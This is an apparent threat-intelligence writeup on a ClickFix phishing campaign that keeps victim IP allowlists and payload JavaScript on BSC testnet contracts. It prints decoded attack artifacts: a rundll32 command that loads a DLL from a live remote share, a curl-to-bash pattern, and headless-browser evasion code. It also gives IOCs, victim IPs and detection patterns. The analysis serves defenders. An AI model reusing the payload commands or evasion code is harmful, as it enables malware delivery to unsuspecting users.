A four-day research effort starting from a single typosquatted Google result. What we found was a multi-tier phishing operation that uses a public smart contract on BSC testnet as a per-victim IP authorization layer, stores the attack payload as base64-encoded JavaScript on the blockchain, and has been running continuously for at least 262 days behind rotating DNS infrastructure across at least two registrars and three Cloudflare accounts.
This writeup is intended for threat researchers, DFIR responders, and security engineers. We are publishing the full IOC bundle, transaction hashes, decoded payload artifacts, and on-chain query methodology. The companion pieces — the user-facing narrative and the defensive-DNS argument — cover the same campaign from different angles.
Initial discovery
The investigation started with a single SERP observation. A Google search for "tailscale" returned a typosquat in the results: tailsacle.work (transposition of the s and c). The lure rendered what appeared to be a Cloudflare bot-mitigation interstitial, followed by a popup instructing the visitor to open the Windows Run dialog (or macOS Terminal on Mac) and paste the contents of their clipboard.
Pasting into a text editor instead of the Run dialog revealed the clipboard had been overwritten with a rundll32.exe command targeting an SMB share on an unfamiliar domain. The same page from a macOS user-agent produced a different clipboard payload: a bash -c "$(curl ...)" invocation pointing at a .digital domain.
This is a classic ClickFix delivery mechanism. What was not classic was everything underneath.
DNS and registration timeline
Initial recon on the visible infrastructure produced the following timeline. All times in UTC.
2026-05-06 09:28:29 mel2vrax.digital registered PDR Ltd (IANA 303)
2026-05-06 13:53:26 tailsacle.work registered PDR Ltd
2026-05-06 13:53:27 tailsacle.us registered PDR Ltd
2026-05-08 11:36:48 herald5eventy.lat registered PDR Ltd
2026-05-10 10:01:01 mel2vrax.digital suspended (registrar action)
2026-05-10 10:04:25 herald5eventy.lat suspended (registrar action)
2026-05-10 14:15:07 devharbor.pics registered PDR Ltd
2026-05-11 (overnight) devharbor.pics suspended (registrar action)
2026-05-11 12:06:21 glokchapigui.co registered NameCheap (IANA 1068)
Two observations from this timeline.
First, the two lure domains (tailsacle.work and tailsacle.us) were registered exactly one second apart. That is not a manual operation. The actor uses scripted bulk registration against PDR's API.
Second, the actor's takedown-to-rotation time has accelerated through the observation window. The first rotation (Mac/Windows payloads suspended → devharbor.pics registered) was about 4 hours. The second rotation (devharbor.pics suspended → glokchapigui.co registered) was overnight. After the second consecutive PDR takedown within 24 hours, the actor switched registrars to NameCheap. We interpret this as the actor responding to defender pressure in real time.
Cloudflare account fingerprinting
The lure and payload domains all sit behind Cloudflare's reverse proxy. Nameserver assignments revealed at least three separate Cloudflare accounts in use by the same operator:
Account 1 jillian.ns.cloudflare.com + rick.ns.cloudflare.com
Used for: lure infrastructure (tailsacle.work, tailsacle.us)
Account 2 ashton.ns.cloudflare.com + holly.ns.cloudflare.com
Used for: Windows payload v2 (devharbor.pics) — now dead
Account 3 elly.ns.cloudflare.com + vick.ns.cloudflare.com
Used for: Windows payload v3 (glokchapigui.co) — currently live
Cloudflare assigns NS pairs from a pool at the time a domain is added to an account. Two domains with the same NS pair are necessarily on the same account. The actor's split architecture isolates a takedown of any single account from the rest of the operation.
Cloaking layer
Multi-vantage HTTP probes of the lure URL surfaced an IP-reputation-based content routing layer. Each fetch used identical headers (including the same Mac Safari user-agent and Referer: https://www.google.com/search?q=tailscale+download). The only variable was source IP.
Source: Linode VPS (US datacenter, AS63949)
All UA variants returned: 17,517 bytes, SHA256:7bcbb096dbe67d26...
Title: "Secure Network & Identity Tools for Remote Teams in 2026"
Content: SEO-optimized editorial article comparing networking products.
No malicious content present.
Source: Cellular tether (AT&T mobile, residential reputation)
macOS Safari UA: 144,618 bytes, SHA256:834d96560983fc96...
Windows Chrome UA: 145,197 bytes, SHA256:d163c496c85330e9...
Title: "Just a moment..."
Content: Cloudflare interstitial styling, hosts the ClickFix lure.
iPhone Safari UA: same 17,517 bytes as datacenter probes
Googlebot UA: same 17,517 bytes as datacenter probes
Plain curl UA: same 17,517 bytes as datacenter probes
The site routes traffic on at least two axes: IP reputation (datacenter vs residential), and user-agent class (desktop browser vs mobile/bot/research tool). Real desktop browsers from residential IPs receive the lure. Everything else receives a benign decoy.
Examination of the residential capture's HTML revealed Cloudflare-specific artifacts that cannot be cloned:
/cdn-cgi/challenge-platform/h/g/cmg/1
/cdn-cgi/challenge-platform/h/g/d/9f2425b28d33bba4/1777191407601/RqSAh--RQFznMpY
/cdn-cgi/challenge-platform/help
cf-chl-widget-slxjy
cf-turnstile-response
data-sitekey="0x4AAAAAA..." (Turnstile sitekey, partial)
https://www.cloudflare.com/products/turnstile/?utm_source=turnstile&utm_campaign=widget
The cloaking is implemented using genuine Cloudflare Turnstile. The actor configured a Cloudflare Turnstile widget tied to their account and uses Cloudflare's bot-scoring infrastructure as their first-line filter to separate real-victim traffic from automated researcher traffic.
The on-chain components
The use of public smart contracts for malicious payload delivery is not new. Guardio Labs documented EtherHiding in 2023, showing how attackers embed malicious JavaScript in BNB Smart Chain contracts and retrieve it via eth_call. JUMPSEC Labs documented BSC testnet contracts with a victim UUID tracking mechanism using an isGoalReached() function. Vega published analysis of a ClickFix/SectopRAT campaign with similar on-chain victim registration at a comparable cadence (~22 UUIDs/hour). Google/Mandiant tracked UNC5142's evolution to a three-contract architecture, and documented DPRK adoption of the technique via UNC5342.
What we observed in this campaign builds on that body of work. The specific aspect worth documenting is the use of the authorization contract as a per-victim IP allowlist, where the actor writes individual victim IP addresses to the blockchain and the lure JavaScript gates payload delivery on the contract's response. Prior documented campaigns use UUID-based tracking as a reinfection check. This campaign uses IP addresses as an access-control layer, which has a defensive implication the UUID model does not: any organization can query the contract with their outbound IP to definitively confirm or rule out whether the actor approved them as a target.
The authorization contract
Contract address: 0xf4a32588b50a59a82fbA148d436081A48d80832A
Network: BSC testnet (chain ID 97)
Deployment: approximately 262 days before our analysis (early September 2025)
Operator wallet: 0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290
Operator wallet funded: 333 days ago, by 0xAf7bAA11...3c928d2E1
The contract exposes at least two functions identified via observed call patterns:
0x24513bb6 Read function (eth_call)
Input: string (single argument, ABI-encoded)
Output: string ("yes" or "no")
Purpose: query whether a given input is in the allowlist
0x5c61fc2c Write function (eth_sendTransaction)
Input: string (single argument, ABI-encoded)
Output: state change (allowlist mutation)
Purpose: add an entry to the allowlist
The contract operates as an allowlist of IP addresses. The lure JavaScript calls the read function via JSON-RPC against bsc-testnet-rpc.publicnode.com to ask "is this visitor's IP allowed?" The operator wallet pushes write transactions adding approved victim IPs as new entries.
Decoding a write transaction
Example transaction: 0x2304ddf1e2773ed9cac8df8a78a26a6504710c94f642030badb7a33dc658d5fc
Input data:
0x5c61fc2c (function selector)
0000000000000000000000000000000000000000000000000000000000000020 (ABI offset = 32)
000000000000000000000000000000000000000000000000000000000000000f (string length = 15)
3139352e3232382e3138322e3132330000000000000000000000000000000000 (data + padding)
Decoded data: 195.228.182.123 (15 bytes ASCII)
Reverse lookup on the IP:
IP: 195.228.182.123
Hostname: fix-0-123.emitel.hu
ISP: Magyar Telekom Plc. (AS5483)
Network: MT-BROADBAND-STATIC-DSL ("static IP DSL customers")
Location: Budapest, Hungary
The actor pushed this transaction approving a Hungarian DSL customer for payload delivery. The transaction was confirmed at block 106801618, approximately 13 minutes before our query.
A second example transaction: 0x51a2f0b26afb2290ac68d161d297129ad72868f8daa80d2aba667666fc1b6f62
Decoded: 170.85.30.94
IP: 170.85.30.94
Org: AS62044 Zscaler Switzerland GmbH
Location: Milan, Italy
This is enterprise traffic egressing through a Zscaler cloud security gateway in Milan. The actor approved an enterprise victim. The corporate user behind this Zscaler egress visited the lure, executed (or attempted to execute) the clipboard payload, and harvested-from-the-back-end accordingly.
Verifying the allowlist model
We constructed direct eth_call queries against the contract to verify the model:
python3 -c "
import json, subprocess
def call_contract(test_input):
hex_input = test_input.encode().hex()
length_hex = format(len(test_input), 'x')
selector = '24513bb6'
offset_slot = '0' * 62 + '20'
length_slot = '0' * (64 - len(length_hex)) + length_hex
pad_len = (64 - (len(hex_input) % 64)) % 64
data_slot = hex_input + '0' * pad_len
call_data = '0x' + selector + offset_slot + length_slot + data_slot
payload = json.dumps({
'jsonrpc': '2.0', 'method': 'eth_call',
'params': [{'to': '0xf4a32588b50a59a82fbA148d436081A48d80832A', 'data': call_data}, 'latest'],
'id': 1
})
r = subprocess.run(['curl', '-s', '-X', 'POST', 'https://bsc-testnet-rpc.publicnode.com/',
'-H', 'Content-Type: application/json', '-d', payload],
capture_output=True, text=True)
raw = json.loads(r.stdout).get('result', '')
if raw.startswith('0x') and len(raw) >= 130:
length = int(raw[66:130], 16)
return bytes.fromhex(raw[130:130+length*2]).decode('utf-8', errors='replace')
return ''
for ip in ['195.228.182.123', '170.85.30.94', '8.8.8.8', '1.1.1.1']:
print(f' {ip:20s} -> {call_contract(ip)!r}')
"
Output:
195.228.182.123 -> 'yes'
170.85.30.94 -> 'yes'
8.8.8.8 -> 'no'
1.1.1.1 -> 'no'
Confirmed. The contract returns "yes" for IP addresses the operator has explicitly added. All other inputs return "no".
Transaction cadence
We observed 25 write transactions to the contract within a one-hour window, all from the operator wallet, all calling function 0x5c61fc2c. Average gas cost per transaction was 0.000137 BNB testnet (effectively zero, as testnet BNB has no real value). Spacing was 2-3 minutes between most transactions.
We interpret this rate as the live victim throughput of the campaign at the time of observation. Each transaction represents one IP the operator approved for payload delivery in real time. At sustained 25/hour, the campaign processes around 600 victim authorizations per day. Over the contract's 262-day life this would represent on the order of 150,000 authorized victims, though the rate has almost certainly varied across that span.
The on-chain payload code
Beyond the IP allowlist, the operator wallet also writes to a second contract:
Contract address: 0x46790e2A...1d23383Ff (second contract)
Method observed: "Set" (selector varies, likely 0x4ed3885e and others)
Write pattern: clustered bursts every 20-30 minutes
Gas costs: 0.007 - 0.014 BNB testnet per call (50-100x the allowlist contract)
The gas-cost differential reflects the data size. The allowlist calls write ~12 bytes (an IP address string). The "Set" calls write ~57 KB per transaction.
Decoding the input data on transaction 0x9853c5970c7c6874c7575744c0162999ddde12f5b801e9b1d688e9a10fe6136a yielded 57,564 bytes of base64-encoded text. Decoding the base64 produced 43,172 bytes of JavaScript source code.
Outer layer: bootstrap and platform detection
The decoded JavaScript begins with a headless-browser detection routine:
const isHeadless = (() => {
const checks = [
navigator.webdriver === true,
/HeadlessChrome/.test(navigator.userAgent),
navigator.userAgent.includes("PhantomJS"),
navigator.userAgent.includes("Puppeteer"),
navigator.userAgent.includes("Playwright"),
window.outerWidth === 0 && window.outerHeight === 0,
!window.chrome && !window.safari && !navigator.userAgent.includes("Firefox"),
];
const positiveChecks = checks.filter(Boolean).length;
const isLikelyNormalBrowser = window.chrome?.runtime || window.safari
|| navigator.plugins.length > 0 || navigator.languages.length > 0;
return positiveChecks >= 2 && !isLikelyNormalBrowser;
})();
This is anti-analysis tooling intended to detect automated browsers (Puppeteer, Playwright, Selenium-class testing frameworks) and bail out before delivering the payload.
The bootstrap then defines a per-victim ID resolver:
function generateId() {
try {
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://ip-info.ff.avast.com/v2/info', false);
xhr.send();
if (xhr.status === 200) {
return JSON.parse(xhr.responseText).ip;
}
return generateUUID();
} catch(e) {
return generateUUID();
}
}
function getUserID() {
let e = getCookie("cjs_id");
return e || (e = generateId(), setCookie("cjs_id", e, 2)), e;
}
The lure performs a synchronous XHR against Avast's free ip-info.ff.avast.com geolocation API to obtain the visitor's real public IP. This IP is then used as the input to the authorization contract call. The result is cached in a cookie named cjs_id with a 2-day TTL.
The bootstrap also defines the authorization call itself:
async function isGoalReached(e) {
let t = (e, t = "0x") => { /* hex encoding helper */ };
address = "0xf4a32588b50a59a82fbA148d436081A48d80832A";
start = "0x24513bb6000000000000000000000000000000000000000000000000000000000000002";
uuid_hexed = t((encoder = new TextEncoder).encode(e), "");
len = Number(e.length).toString(16);
result_len = (result = start + "0".repeat(138 - start.length - len.length) + len + uuid_hexed).length - 2;
result += "0".repeat(64 - result_len % 64);
answer = (await (response = await fetch(url = "https://bsc-testnet-rpc.publicnode.com",
_config = {
method: "POST",
headers: { Accept: "application/json", "Content-Type": "application/json" },
body: JSON.stringify(_data = {
method: "eth_call",
params: [{ to: address, data: result }, "latest"],
id: 97, jsonrpc: "2.0"
})
})).json()).result.slice(2);
offset = Number(t((unhexed = new Uint8Array(answer.match(/[\da-f]{2}/gi)
.map(function(e) { return parseInt(e, 16) }))).slice(0, 32)));
len = Number(t(unhexed.slice(32, 32 + offset)));
return "yes" == (value = String.fromCharCode.apply(null, unhexed.slice(32 + offset, 32 + offset + len)));
}
If Windows is detected and isHeadless is false, the bootstrap dynamically constructs the verification UI via container.innerHTML = atob(...) and style.innerHTML = atob(...), then eval(atob(...)) to execute the inner payload.
Inner layer: the obfuscated payload
The eval'd inner code (16,150 bytes after base64 decode) is obfuscator.io-style JavaScript with mangled variable names (_0x1d8872, _0x56bc4c, etc.) and a dictionary-array string table.
Decoding the strings in the dictionary array yields the critical operational constants. Among the readable plaintext entries:
"microsoft.com"
"rsmtest.download.microsoft.com"
"agreementcenter.microsoft.com"
"ogs.google.com"
"m.s-microsoft.com" (typosquat — real is m.microsoft.com)
"_PiXfMo4K" (CSS class for the injected overlay container)
"clipboard"
"fromEntries"
Several entries in the dictionary are themselves base64-encoded:
"Z2xva2NoYXBpZ3VpLmNvXDljMzRiYzEzLTEyNTYtNGUwOS04NDVlLTllYTU4M2ZiZWY2NVxnb29nbGUuY3Q="
decodes to: "glokchapigui.co\9c34bc13-1256-4e09-845e-9ea583fbef65\google.ct"
"YGNtZCAvYyAiIiBzdGFydCBydW5kbGwzMi5leGUgXFwke2Rtbn0scm5g"
decodes to: "`cmd /c "" start rundll32.exe \\${dmn},rn`"
The first is the current Windows payload UNC path with share name and DLL filename. The second is the command template, with ${dmn} substituted at runtime with the payload host. After substitution, the constructed Windows clipboard payload is:
cmd /c "" start rundll32.exe \\glokchapigui.co\9c34bc13-1256-4e09-845e-9ea583fbef65\google.ct,rn
The trailing ,rn is the DLL export name rundll32.exe calls (probably shorthand for "run"). The cmd /c "" prefix is functionally meaningless to cmd.exe but appears to be a tooling fingerprint — we have observed similar empty-flag prefixes (cmd /skill-creator "") in earlier versions of this campaign's Windows command syntax.
The full chain of indirection
Tracing the full chain from victim arrival to payload execution:
- 1. Victim hits the lure (
tailsacle.workortailsacle.us). - 2. Cloudflare Turnstile evaluates the visitor. Datacenter IPs are routed to the SEO decoy. Residential desktop IPs are passed through to the lure HTML.
- 3. The lure HTML loads inline JavaScript that includes a base64 string identifying a transaction or contract address.
- 4. The JavaScript fetches the content of the second contract (the code store) and decodes it: 57KB base64 → 43KB JavaScript.
- 5. The decoded JavaScript performs headless-browser detection and bails out if positive.
- 6. If the browser appears human, the JavaScript performs a synchronous XHR against
ip-info.ff.avast.comto obtain the visitor's public IP. - 7. The JavaScript queries the authorization contract via JSON-RPC against
bsc-testnet-rpc.publicnode.com, passing the visitor's IP. - 8. If the contract returns
"yes", the JavaScript constructs the verification UI by base64-decoding HTML and CSS strings and injecting them into the DOM. - 9. When the victim clicks the verification checkbox, an obfuscated function writes the platform-specific payload command to the clipboard via
navigator.clipboard.writeText(). - 10. The popup instructs the victim to paste into Run/Terminal and press Enter, completing the chain.
If the authorization contract returns "no", the lure redirects to https://tailscale.com and the visitor sees nothing malicious.
How the operator approves IPs
We did not directly observe the operator's approval logic. The IP authorization transactions arrive 2-3 minutes after we believe a victim must have hit the lure, suggesting an off-chain backend (possibly hooked into Cloudflare logs, Yandex Metrika webhooks, or a webhook from the lure itself) makes per-visitor approval decisions and then submits the corresponding 0x5c61fc2c transaction.
The criteria for approval are not directly visible. Given the campaign's documented behavior (we observed both a residential DSL customer and a Zscaler-egressing enterprise victim getting approved), the criteria appear to be lenient. The actor is not aggressively filtering by ISP or network type. They are filtering primarily through the upstream cloaking layers (Cloudflare Turnstile, IP-reputation routing), with the on-chain check serving as a final per-victim sanity check.
Instrumentation
The lure also includes telemetry:
SEO cloaking page (served to datacenter / non-residential IPs):
Google Ads conversion ID: AW-18120309715
Google Ads conversion action: NHXECP2U4qkcENP3t8BD
Cloudflare Web Analytics token: fe5e7ed5c73f46848532df324ab233d9
Lure page (served to authorized residential desktop IPs):
Yandex Metrika ID: 108771061
Yandex Metrika options: webvisor:true, clickmap:true, accurateTrackBounce:true
The Google Ads conversion tracking on the SEO page implies the actor is also bidding on Google Ads to drive paid traffic to the campaign (in addition to the SEO ranking the lure achieved organically).
The Yandex Metrika instance on the lure page uses webvisor:true, which enables session recording. The actor has playback recordings of every victim's interaction with the lure — cursor movements, scroll patterns, hover events, the exact moment the verification checkbox is clicked. Yandex's WebVisor feature is presumably used by the actor for A/B testing the lure copy and identifying friction points in their funnel.
Yandex Metrika ID 108771061 is the most durable IOC we identified. It is present in both the SEO cloaking variant of the lure and the live malicious variant. It has persisted unchanged across at least two payload-host rotations. Pivoting on this ID is more reliable than pivoting on any DNS infrastructure.
Full IOC bundle
Domains
Lure (active):
tailsacle.work Cloudflare Account 1 (jillian + rick) PDR
tailsacle.us Cloudflare Account 1 (jillian + rick) PDR
Windows payload v1 (dead):
herald5eventy.lat PDR-suspended 2026-05-10
ioflows.herald5eventy.lat (subdomain)
UNC: \\ioflows.herald5eventy.lat\k5s8-byna-tqed-r6mwn-swmbz-jb2jq3v\access.fltr
Windows payload v2 (dead):
devharbor.pics PDR-suspended ~2026-05-11
extnetprox.devharbor.pics (subdomain)
UNC: \\extnetprox.devharbor.pics\so7f5fa6-c8d5-4c28-9e4a-c9fb43ca0d86\verify.check
Windows payload v3 (LIVE as of 2026-05-11):
glokchapigui.co Cloudflare Account 3 (elly + vick) NameCheap
Registered 2026-05-11 12:06:21 UTC
UNC: \\glokchapigui.co\9c34bc13-1256-4e09-845e-9ea583fbef65\google.ct
macOS payload (dead):
mel2vrax.digital PDR-suspended 2026-05-10
dzervhjq.mel2vrax.digital (subdomain)
URL: https://dzervhjq.mel2vrax.digital/?ublib=<random16>
On-chain
Network: BSC testnet (chain ID 97)
RPC endpoint: https://bsc-testnet-rpc.publicnode.com
Authorization contract: 0xf4a32588b50a59a82fbA148d436081A48d80832A
Read selector: 0x24513bb6 (input: string, output: "yes"|"no")
Write selector: 0x5c61fc2c (input: string)
Code-store contract: 0x46790e2A...1d23383Ff
Methods include: 0x4ed3885e ("Set", varies)
Operator wallet: 0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290
Active: 333 days
Funded by: 0xAf7bAA11...3c928d2E1 (333 days ago)
BNB testnet balance: ~299 BNB (no real value)
Cloudflare account fingerprints
Account 1: jillian.ns.cloudflare.com + rick.ns.cloudflare.com
Account 2: ashton.ns.cloudflare.com + holly.ns.cloudflare.com
Account 3: elly.ns.cloudflare.com + vick.ns.cloudflare.com
Tooling and command fingerprints
Anti-analysis:
Headless-browser detection (navigator.webdriver, HeadlessChrome, Puppeteer, Playwright)
Synchronous IP lookup via https://ip-info.ff.avast.com/v2/info
Cookie name: cjs_id (TTL 2 days, stores victim IP)
Command syntax:
cmd /c "" start rundll32.exe \\${dmn},rn (current variant)
cmd /skill-creator "" start rundll32.exe ... (earlier variant)
Empty quoted argument and unused-flag prefix are tooling fingerprints.
Per-victim parameterization:
${dmn} Windows payload domain (resolved from chain-stored constant)
${usr_id} Per-session UUID (8 chars lowercase a-z) - macOS variant
${apikey__} Per-session API key (16 chars mixed case) - macOS variant
Brand impersonation targets (referenced in obfuscated string dictionary):
microsoft.com (and several real *.microsoft.com subdomains)
ogs.google.com
m.s-microsoft.com (typosquat)
Instrumentation
Yandex Metrika ID: 108771061 (webvisor:true)
Google Ads conversion ID: AW-18120309715
Google Ads conversion action: NHXECP2U4qkcENP3t8BD
Cloudflare Web Analytics token: fe5e7ed5c73f46848532df324ab233d9
Confirmed victim IPs
Decoding the input data from 25 consecutive 0x5c61fc2c transactions to the authorization contract produced the following victim corpus. All entries were written within a two-hour window on 2026-05-11:
197.26.238.31 Orange Tunisie (Tunis, TN) residential DSL
91.174.27.117 Free SAS / proxad.net (Lagny-sur-Marne, FR) residential broadband
103.167.232.212 TechMinds Networks (Chame, NP) regional ISP
102.88.114.22 MTN Nigeria (Lagos, NG) mobile carrier
90.24.153.129 Orange S.A. / Wanadoo (La Rochelle, FR) residential broadband
83.110.73.153 European ISP residential
195.228.182.123 Magyar Telekom DSL (Budapest, HU) residential (repeat from earlier)
83.38.228.56 European ISP residential
195.167.62.210 European ISP residential
88.98.233.93 European ISP residential
86.3.70.217 UK ISP residential
177.206.249.216 Brazilian ISP residential
49.37.222.181 Indian ISP mobile/broadband
18.218.117.228 AWS EC2 us-east-2 (Columbus, OH) cloud/enterprise
3.144.204.113 AWS EC2 us-east-2 (Columbus, OH) cloud/enterprise
34.174.193.7 Google Cloud (GCP) cloud/enterprise
104.28.162.142 Cloudflare IP range cloud/enterprise
170.85.30.94 Zscaler Switzerland GmbH (Milan, IT) enterprise egress
45.84.137.66 PacketHub S.A. (Paris, FR) VPN/proxy (approved 3x)
50.224.228.202 US ISP residential
184.144.168.186 Canadian ISP residential
81.56.118.75 French ISP residential
50.83.105.209 US ISP residential
191.31.233.255 Brazilian ISP residential
187.62.202.40 Brazilian ISP residential
206.108.211.234 Canadian ISP residential
200.122.240.250 Latin American ISP residential
78.87.217.72 European ISP residential
41.142.53.45 African ISP residential/mobile
69.254.191.247 US ISP residential
91.127.107.121 European ISP residential
186.219.48.205 Brazilian ISP residential
165.225.220.166 Zscaler (second instance) enterprise egress
41.239.73.111 African ISP residential/mobile
78.161.88.4 Turkish ISP residential
50.147.114.209 US ISP residential
185.159.158.60 European ISP residential
The geographic spread is global: Tunisia, France, Nepal, Nigeria, Hungary, UK, Brazil, Canada, Turkey, India, plus enterprise traffic through AWS, GCP, Cloudflare, and Zscaler. The actor is not targeting a specific region. The residential ISP mix confirms these are real end users, not researcher probes. A second batch of 25 transactions decoded 19 minutes later showed the same pattern, with heavy North American and Brazilian representation.
The cloud and enterprise IPs are notable. Two AWS IPs, one GCP IP, one Cloudflare IP, and two separate Zscaler egress points were all approved alongside residential victims. Organizations whose outbound traffic routes through these providers should query the contract directly to check whether their specific egress IPs appear on the allowlist.
One IP (45.84.137.66, PacketHub S.A., Paris) was approved three times in consecutive transactions. This could indicate the actor testing their own infrastructure, a VPN user retrying, or a race condition in the approval backend.
Session token fallback in the wild
Interspersed with the IP addresses, twelve entries across the observation window contained 8-character alphanumeric strings rather than IP addresses:
bh5ey3id
gw02uyp3
vtge9gxp
xty75g4b
qzxcwp8k
o7zf87ci
27vaf6ls
hc9098pf
0xh3pjuu
r48vii61
kwfjg1ll
iao8484q
These correspond to the generateUUID() fallback path in the lure JavaScript. When the synchronous XHR to ip-info.ff.avast.com fails (due to ad blockers, network restrictions, or CORS issues), the code generates a random ID and stores it in the cjs_id cookie instead. The actor then approves this session token on-chain rather than an IP address. This confirms both authorization paths documented in the source code are active in production.
The full victim corpus is recoverable by walking every block since the contract's deployment (262 days) and decoding every 0x5c61fc2c call's input data. At an observed sustained rate of approximately 25 authorizations per hour, the total is estimated at 150,000 or more over the campaign's lifetime.
Detection and hunting opportunities
For threat researchers and defenders investigating related infrastructure or active compromises, several detection patterns surfaced from this analysis:
Static content detection on lure HTML:
Look for the combination of navigator.clipboard.writeText with payload-shaped string templates (bash -c, rundll32, iex, UNC paths). Look for Cloudflare-styled instruction text combined with Run-dialog or Terminal instructions. The Yandex Metrika ID 108771061 is a definitive marker for this actor's campaign infrastructure when present in page source.
Behavioral detection on suspicious domains:
The actor's cloaking layer is itself an IOC. A domain that returns dramatically different content depending on source-IP reputation (datacenter vs residential), user-agent class (desktop vs mobile/bot), or referer presence is by definition cloaking. We have published an open-source variance-detection script that probes a target URL across multiple UA/referer/Googlebot profiles and surfaces the variance pattern.
On-chain detection:
Any defender can query the authorization contract directly to check whether a specific IP was approved by the actor. The query is a single JSON-RPC eth_call against bsc-testnet-rpc.publicnode.com. The methodology is documented above. For DFIR purposes, an organization investigating a suspected compromise can answer the question "was our outbound IP at the time of incident on the actor's allowlist" in under a second, definitively, with cryptographic non-repudiation.
Wallet pivot:
The operator wallet 0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290 is the most durable IOC of the entire operation. Any future infrastructure spun up by this actor will eventually involve transactions from (or funded by) this wallet. Monitoring the wallet's outgoing transactions over time is a low-cost way to detect campaign evolution. The funding wallet 0xAf7bAA11...3c928d2E1 is also worth monitoring for traces back to any centralized exchange withdrawal, which would attach KYC.
NS-pair fingerprinting:
Newly-registered domains with NS pair elly + vick (or jillian + rick, or ashton + holly) at Cloudflare can be inspected as likely operator-controlled assets. Passive DNS providers like DNS Archive can enumerate domains sharing these NS pairs.
Closing observations
A few structural observations from this case that are worth filing for future analysis of similar operations.
The on-chain authorization model extends documented techniques in a specific direction. EtherHiding (Guardio Labs, 2023), JUMPSEC, Vega, and Google/Mandiant have documented the broader pattern of blockchain-backed payload delivery and victim tracking. What this campaign adds is the use of IP addresses rather than UUIDs as the on-chain authorization key, which turns the contract into a queryable record of which specific network endpoints the actor targeted. This is an incremental evolution, not a wholly new technique, but the defensive implications of IP-based on-chain authorization are distinct from UUID-based tracking.
The blockchain provides three properties the actor wants: censorship-resistance (no one can take down the contract), public auditability (the actor can verify their own infrastructure is working from any wallet), and free-tier abuse (BSC testnet writes cost nothing). The combination produces an infrastructure layer that conventional takedown processes do not address.
The actor's threat model includes researchers. Multiple layers — IP-reputation cloaking, UA-based routing, headless-browser detection, per-IP authorization gating — are clearly designed to deny visibility to automated security infrastructure. The on-chain model is itself a defense-in-depth measure: even if a researcher captures the lure HTML, they cannot trigger the malicious code path without an approved IP in the contract.
The on-chain audit trail is a defender's asymmetric advantage. The actor designed their infrastructure assuming public visibility would not matter. But the public ledger means every victim approval is verifiable from any vantage point. Defenders investigating compromises now have a primitive that DFIR has not historically had: a public, queryable, cryptographically signed record of which IPs the actor confirmed as authorized victims, with timestamps. This is on-chain attribution evidence the actor cannot revoke.
Registrar enforcement is working but is structurally insufficient. Both PDR and NameCheap have responded to abuse reports on this campaign's infrastructure within hours to days. The actor absorbs each takedown and rotates around it within the same operational cycle. The blockchain layer ensures the rotation does not disrupt continuity. As long as the actor's infrastructure-rotation tooling is faster than manual takedown processes, the campaign continues.
The defensive question is not "how do we take down all the actor's infrastructure" — that has been tried, repeatedly, and the actor adapts in hours. The defensive question is "where in the attack chain do we make the cheapest, earliest, most reliable intervention." For most users and organizations, the answer to that question is DNS-layer protection, because none of the rest of the attack chain matters if the lookup never returns. The argument for that approach is documented in detail in the companion post on the CleanBrowsing blog.
For threat-intel teams: please feel free to use any of the IOCs above. The operator wallet is the keystone, the Yandex Metrika ID is the durable infrastructure fingerprint, the contract address is the permanent C2-equivalent. If you see these in your telemetry, please share back so we can build out the picture across the broader research community.